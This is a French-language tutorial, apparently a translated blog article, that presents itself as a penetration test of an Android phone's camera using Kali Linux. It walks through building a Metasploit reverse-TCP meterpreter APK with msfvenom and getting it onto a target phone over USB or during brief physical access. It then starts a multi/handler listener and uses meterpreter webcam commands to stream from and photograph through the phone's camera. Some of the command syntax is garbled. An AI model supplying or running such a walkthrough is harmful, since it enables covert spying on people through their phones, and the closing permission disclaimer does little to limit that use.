Comment exécuter un test d'intrusion sur la caméra d'un téléphone Android à l'aide de Kali Linux

Il y a eu plusieurs reportages de pirates informatiques détournant les caméras de téléphones Android pour écouter leurs utilisateurs ou leur fournir de fausses images. En tant que propriétaire d'un téléphone d'alerte, vous cherchez peut-être à éviter cela en évaluant la probabilité et les risques réels d'un tel événement de menace.

Kali Linux est l'un des meilleurs outils pour vérifier les vulnérabilités potentielles de l'appareil photo de votre téléphone Android grâce à un test d'intrusion. Il peut vous aider à rester au courant de toute tentative de pirate informatique pour accéder à distance à la caméra du téléphone.

Installation d'une charge utile d'exploit

Pour utiliser Kali Linux pour un test d'intrusion, téléchargez-le d'abord depuis son site officiel. Reportez-vous à ce didacticiel précédent pour connaître les définitions de divers jargons tels que "msfvenom", "msfconsole", "meterpreter" et bien d'autres qui seront utilisés dans cet exercice.

La première étape des tests d’intrusion consiste à installer une charge utile d’exploit standard sur l’appareil. Pour cela, ouvrez le terminal Kali Linux et saisissez la commande suivante : ifconfig. Cela vous donnera l'adresse IP de votre session Kali Linux.

Entrez maintenant la commande ci-dessous en utilisant l'adresse IP ci-dessus. Le numéro de port pour les exploits, chevaux de Troie et autres vulnérabilités est généralement 4444.

msfvenom - p android/meterpreter/reverse_tcp L HOST=IP address LPORT=Number R > Payload.apk

Dans cette étape, essayez d'injecter une charge utile métasploit, basée sur un interpréteur Java. En cas de succès, le test d'intrusion vous aidera à vérifier si votre téléphone est vulnérable à quelqu'un qui écoute des appels téléphoniques, accède à des SMS, géolocalise l'utilisateur, etc.

Dans ce cas, l'objectif est de montrer comment l'exploit peut être potentiellement utilisé pour accéder aux caméras du téléphone.

Une fois l'exploit lancé, un fichier APK appelé « Payload » sera installé dans le dossier racine. Vous devez l'installer sur un téléphone Android cible. Cependant, c'est plus facile à dire qu'à faire. La plupart des nouveaux téléphones et messageries Android refuseront de transporter de tels fichiers infectés par des logiciels malveillants, et c'est une bonne chose.

Cependant, cela peut toujours être réalisé via un câble USB ou des fichiers temporaires. Si un pirate informatique accède à votre téléphone pendant quelques minutes, cela le rend quelque peu vulnérable. Notre effort ici, dans ce test d’intrusion, est de déterminer l’étendue précise du risque encouru.

Une fois transféré, vous devez trouver un moyen d'installer le fichier de charge utile sur votre téléphone. Sauf s'il s'agit d'une très ancienne version d'Android, votre téléphone devrait vous donner plusieurs avertissements avant de pouvoir installer l'APK. Néanmoins, quelle que soit la version du téléphone Android, il existe de nombreuses autres façons d'installer des applications provenant de sources inconnues sur un téléphone Android.

Lancer l'exploit

Pour lancer l'exploit Payload ci-dessus, insérez la commande suivante : msfconsole. L'exécution de la commande ne prendra que quelques secondes et le métasploit pourra être préparé pour des tests d'intrusion supplémentaires sur les caméras du téléphone.

Le métasploit donnera sa propre description complète. Le résumé de la charge utile est également visible. Il montre le nombre d’exploits en cours.

À l'étape suivante, msfconsole est prêt à lancer l'exploit. Pour cela, reportez-vous à l'adresse IP et au numéro de port (4444) évoqués précédemment. En conséquence, entrez les commandes suivantes :

exploit (multi/handler) > set LHOST "IP Address" [ENTER]
set LPORT "Port number" [ENTER]
exploit [ENTER]

Lorsque le gestionnaire TCP inversé est activé, vous verrez différentes étapes du lancement de Meterpreter. Attendez quelques secondes pendant qu'il diagnostique le téléphone cible.

Il convient de mentionner ici que la plupart des téléphones Android modernes continueront de refuser cet accès. N'oubliez pas qu'il s'agit d'un test d'intrusion. Si votre téléphone Android ne peut pas être pénétré à l’aide de ce fichier APK mortel, cela signifie que le fabricant de votre téléphone est au courant de ce vecteur d’attaque particulier.

Accéder à l'appareil photo du téléphone Android

Si vous avez réussi à insérer l'exploit dans le téléphone, il est possible qu'il puisse désormais être pénétré. Lorsque cela se produit, le « meterpreter » sur un terminal Kali Linux pourra établir une connexion avec le téléphone. À ce stade, insérez help pour accéder à plusieurs options du téléphone Android attaqué.

Entrez les commandes suivantes (à partir du menu d'aide) pour accéder aux caméras de votre téléphone. Dans cet exploit, il y a eu une tentative d'accès à la caméra arrière pour prendre des photos depuis le terminal.

webcam_list [ENTER]
1. Back camera
2. Front camera [ENTER]
webcam_stream -i 1

Pour réussir un test d'intrusion, une fois que vous pouvez accéder à la caméra, prenez une photo et enregistrez-la dans le dossier racine de Kali Linux. Vous pouvez également modifier, renommer ou supprimer les autres images stockées. Par conséquent, toute pénétration réussie sur le téléphone testé est un signal d’alarme sur la probabilité d’une véritable attaque, ce qui signifie qu’il est temps d’opter pour un correctif de sécurité.

Dans ce didacticiel, vous avez appris comment accéder à une caméra Android à partir d'un terminal Kali Linux pour les tests d'intrusion.

Ceci est un article de recherche sur la sécurité. Si vous accédez à la caméra de quelqu'un d'autre pour une démonstration, obtenez toujours d'abord sa permission - à moins, bien sûr, qu'il s'agisse de votre propre téléphone. N'oubliez pas de consulter ces applications de piratage pour Android pour vous aider à tester et trouver les vulnérabilités de votre téléphone